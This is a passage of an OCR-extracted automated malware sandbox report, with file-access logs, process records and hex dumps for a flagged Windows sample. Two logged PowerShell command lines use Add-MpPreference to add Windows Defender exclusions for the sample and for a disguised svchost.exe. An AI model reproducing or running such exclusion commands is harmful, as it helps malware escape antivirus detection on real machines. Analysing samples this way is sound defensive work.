et\1.0.0.1\PowerShellGet.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 143 6C151B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 993 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C151B4F ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534 end of file 1 6C151B4F ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C151B4F ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 success or wait 1 6C151B4F ReadFile
oundTask\AppBackgroundTask.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 end of file 1 6C151B4F ReadFile
oundTask\AppBackgroundTask.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\AppLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 990 end of file 1 6C151B4F ReadFile
\AppLocker.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 4096 end of file 1 6C151B4F ReadFile
\AppLocker.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\AppLocker.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 990 end of file 1 6C151B4F ReadFile
\AppLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 success or wait 1 6C151B4F ReadFile

t\AppvClient.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 end of file 1 6C151B4F ReadFile
t\AppvClient.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 success or wait 1 6C151B4F ReadFile
t\AppvClient.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 end of file 1 6C151B4F ReadFile
t\AppvClient.psdl
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DCO03DE ReadFile
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DC0O03DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DCO03DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DCO03DE ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DCO03DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx unknown 4096 success or wait 1 6C151B4F ReadFile
.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx unknown 4096 end of file 1 6C151B4F ReadFile
.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 success or wait 1 6C151B4F ReadFile
ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 end of file 1 6C151B4F ReadFile
ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 368 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 368 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-  unknown 4096 success or wait 3 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-  unknown 770 end of file 1 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-  unknown 4096 end of file 1 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 8 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 128 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 368 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\BitLocker\en-  unknown 4096 success or wait 3 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\BitLocker\en-  unknown 770 end of file 1 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 74 6C151B4F ReadFile

\BitLocker.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 104 end of file 1 6C151B4F ReadFile
\BitLocker.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 end of file 1 6C151B4F ReadFile
\BitLocker.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans unknown 4096 success or wait 1 6C151B4F ReadFile
fer\BitsTransfer.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans unknown 522 end of file 1 6C151B4F ReadFile
fer\BitsTransfer.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans unknown 4096 end of file 1 6C151B4F ReadFile
fer\BitsTransfer.psd1
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpComputerStatus.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpComputerStatus.cdxml

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

C:\Windows\SyswWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

C:\Windows\SyswOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

C:\Windows\SysWwOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

C:\Windows\SyswWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

C:\Windows\SysWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatCatalog.cdxml

C:\Windows\SyswOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatCatalog.cdxml

C:\Windows\SysWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOWe64\WindowsPowerShell\vl.0\Modules\Defender\
MSFT_MpScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\Defender\
MSFT_MpScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1l.0\Modules\Defender\
MSFT_MpScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpSignature.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\Defender\
MSFT_MpSignature.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpSignature.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpWDOScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpWDOScan.cdxml

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management
Automation.dll
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Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

4096

358

4096

4096

160

4096

4096

699

4096

4096

699

4096

4096

4096
4096
4096
4096
4096

764

4096

4096

617

4096

4096

4096

4096

4096

4096

227

4096

4096

243

4096

4096

4096

4096

Completion

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

success or wait
end of file
success or wait
end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

Count Source Address

1

12

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F
6C151B4F
6C151B4F
6C151B4F
6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6DC8D72F

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

unknown
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File Path

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management
.Automation.dll

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

Analysis Process: conhost.exe PID: 6680, Parent PID: 6668

Offset

unknown

unknown

unknown

unknown

unknown

Length

512

4096

637

4096

128

General

Target ID: 5

Start time: 01:50:17

Start date: 21/05/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7c9170000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: powershell.exe PID: 6688, Parent PID: 6272

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

6

01:50:17

21/05/2022
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

true

Completion

success or wait

success or wait

end of file

success or wait

end of file

Count Source Address

1

6DC8D72F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

Symbol

unknown

ReadFile

ReadFile

ReadFile

ReadFile

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\9f3df393ch

bd19b\svchost.exe" -Force

0x13d0000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET
high

Analysis Process: conhost.exe PID: 6740, Parent PID: 6688

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

7
01:50:18

21/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7c9170000
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File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: powershell.exe PID: 6748, Parent PID: 6272

General

Target ID: 8

Start time: 01:50:18

Start date: 21/05/2022

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Securitelnfo.com.Variant.
Tedy.122593.7296.exe" -Force

Imagebase: 0x13d0000

File size: 430592 bytes

MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Reputation: high

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user read data or list  device directory file | object name collision 1 6DCCCF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list ~ device directory file | object name collision 1 6DCCCF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\catroot read data or list ~ device directory file | object name collision 1 6C0B5B28 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\catroot2 read data or list  device directory file | object name collision 1 6C0B5B28 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\__PSscr read attributes | device sequential only |  success or wait 1 6C151E60 CreateFilew
iptPolicyTest_suShumbr.0ed.ps1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\AppData\Local\Temp\__PSscr read attributes | device sequential only |  success or wait 1 6C151E60 CreateFilew
iptPolicyTest_n50ivrfk.ipd.psm1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\Documents\20220521\PowerShell_transcr read attributes | device synchronousio  success or wait 1 6C151E60 CreateFilew
ipt.932923.Pdw7Jo_f.20220521015022.txt synchronize | non alert | non
generic read | directory file |
generic write open no recall
File Deleted
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File Path

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_su5hum5r.0ed.ps1

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_n50ivrfk.ipd.psm1

File Written

File Path

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_su5humb5r.0ed.ps1

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_n50ivrfk.ipd.psm1

C:\Users\user\Documents\202205
21\PowerShell_transcr

ipt.932923.Pdw7Jo_f.2022052101502

2.txt

C:\Users\user\Documents\202205
21\PowerShell_transcr

ipt.932923.Pdw7Jo_f.2022052101502

2.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive
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Offset

0

0

0

8

64

104

255

1168

Length

1

707

64

40

32

Value

31

31

2a 2a2a?2a2a?2a?2a?2a
2a 2a2a2a2a?2a?2a?a
2a 2a2a2a2a2a0d0a
57 69 6e 64 6f 77 73 20
50 6f 77 65 72 53 68 65
6¢c 6¢ 20 74 72 61 6e 73
637269 7074207374
61 72 74 0d 0a 53 74 61
72 74 20 74 69 6d 65 3a
2032 303232303532
31 30 31 35 30 32 36 0d
0a 55 73 65 72 6e 61 6d
65 3a 20 44 45 53 4b 54
4f 50 2d 37 31 36 54 37
37315c 68617264 7a
0d 0a 52 75 6e 41 73 20
55 73 65 72 3a 20 44 45
53 4b 54 4f 50 2d 37 31
36 54 37 37 31 5¢ 68 61
72 64 7a 0d Oa 43 6f 6e
66 69 67 75 72 61 74 69
6f 6e 20 4e 61 6d 65 3a
20 0d Oa 4d 61 63 68 69
6e 65 3a 20 39 33 32 39
32332028 4d 69 63 72
6f 73 6f 66 74 20 57 69
6e 64 6f 77 73 20 4e 54
20 31 30 2e 30 2e 31 37
31 33 34 2e 30 29 0d Oa
48 6f 737420 41 70 70
6¢ 69 63 61 74 69 6f 6e
3a 2043 3a 5¢ 57 69

40 00 00 01 65 00 00 00
00 00 00 00 11 00 00 00
55 14 00 00 18 00 00 00
68 0d fd 04 fd 08 7b 08

78 08 00 00 fd 00 fd 00

16 00 49 0d 00 00 00 00
00 00 00 00 04 40 00 fd
00 00 00 00 00 00 00 00

48 00 00 02 03 00 00 00
00 00 00 00 01 00 00 00
3c 40 fd 5e 7f 4c fd 22 4d
79 fd fd fd 3a 3a 00 00 00
0Oe 00 20 00

4d 69 63 72 6f 73 6f 66
74 2e 50 6f 77 65 72 53
68 65 6¢ 6¢ 2e 43 6f 6e
73 6f 6¢ 65 48 6f 73 74

00

00 08 00 03

Ascii

BV VT oe [o)

ws PowerShell transcript
startStart time:
20220521015026Userna
me: computer\userRunAs
User:
computer\userConfigurati
on Name: Machine:
932923 (Microsoft
Windows NT
10.0.17134.0)Host
Application: C:\Wi

@eUh{xl@

H<@"L"My::

Microsoft.PowerShell.Co
nsoleHost

Completion
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 6C156A95
1 6C156A95

Count Source Address

1 6C151B4F
1 6C151B4F
1 6C151B4F

44 6C151B4F

1 6DF976FC

17 6DF976FC

17 6DF976FC

il 6DF976FC

il 6DF976FC

Symbol
DeleteFilew

DeleteFilew

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

Page 38 of 47



File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Mi 1172 2044 00 Oe fd 00 01 Oe fd 00 T@>@@V@H@X@[@N success or wait 11 6DF976FC WriteFile
crosoft\Windows\PowerShell\Sta 02 Oe fd 00 03 Oe fd 00 TOHT@S@S@hT@S@
rtupProfileData-NonInteractive 04 Oe fd 00 05 Oe fd 00 S@S@\@T@RT@R@X@?

06 Oe fd 00 07 Oe fd 00 X@T@S@S@T@T@xT

08 Oe fd 00 09 Oc fd 00 @zT@

54 01 40 00 fd 3e 40 01 T@=M@DM@:M@"M@

fd 00 40 00 56 01 40 00 M@'M@;:M@D@D@@M

4801400058014000 @<M@$M@8M@?

5b 01 40 00 4e 54 4001 M@BMDmMEEMqqgS%n4

48 54 40 01 fd 53 40 01 &5&7&

fd 53 40 01 68 54 40 01

fd 53 40 01 fd 53 40 01 fd

53 40 01 5¢c 01 40 00 00

54 40 01 02 54 40 01 40

58 40 01 3f 58 40 01 1c

54 40 01 fd 53 40 01 fd

534001 1e 54 40 01 19

5440017854 4001 7a

54 40 01 fd 54 40 01 3d

4d 40 01 44 4d 40 01 3a

4d 40 01 22 4d 40 01 20

4d 40 01 21 4d 40 01 3b

4d 40 01 fd 44 40 01 fd

44 40 01 40 4d 40 01 3c

4d 40 01 24 4d 40 01 38

4d 40 01 3f 4d 40 01 42

4d 00 01 fd 44 00 01 6d

45 00 01 45 4d 00 01 fd

710001 fd 71 00 01 fd

5300 01 fd 25 00 01 fd

6e 00 01 34 26 00 01 35

26 00 01 37 26 00
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 6135 success or wait 1 6DCA5705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown 176 success or wait 1 6DCO03DE ReadFile
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCACA54 ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCACA54 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DCACA54 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DCO03DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DCO03DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DCO03DE ReadFile
9f6405#\ccc7¢82770f93d1392abde4be3a80378\Microsoft. Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DCO03DE ReadFile
19d4630d26b88041b59c21e8e2b95¢c\System.Xml.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 8171 end of file 1 6DCA5705 unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 64 success or wait 1 6DCB1F73 ReadFile
rtupProfileData-NonlInteractive
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 23192 success or wait 1 6DCB203F ReadFile
rtupProfileData-NonInteractive
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DC003DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux
C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 success or wait 1 6C151B4F ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1
C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 492 end of file 1 6C151B4F ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1
C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 end of file 1 6C151B4F ReadFile

owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1
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File Path Offset Length Completion Count Source Address Symbol

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 6C151B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 774 end of file 1 6C151B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 6C151B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6C151B4F ReadFile
O\Pester.psdl

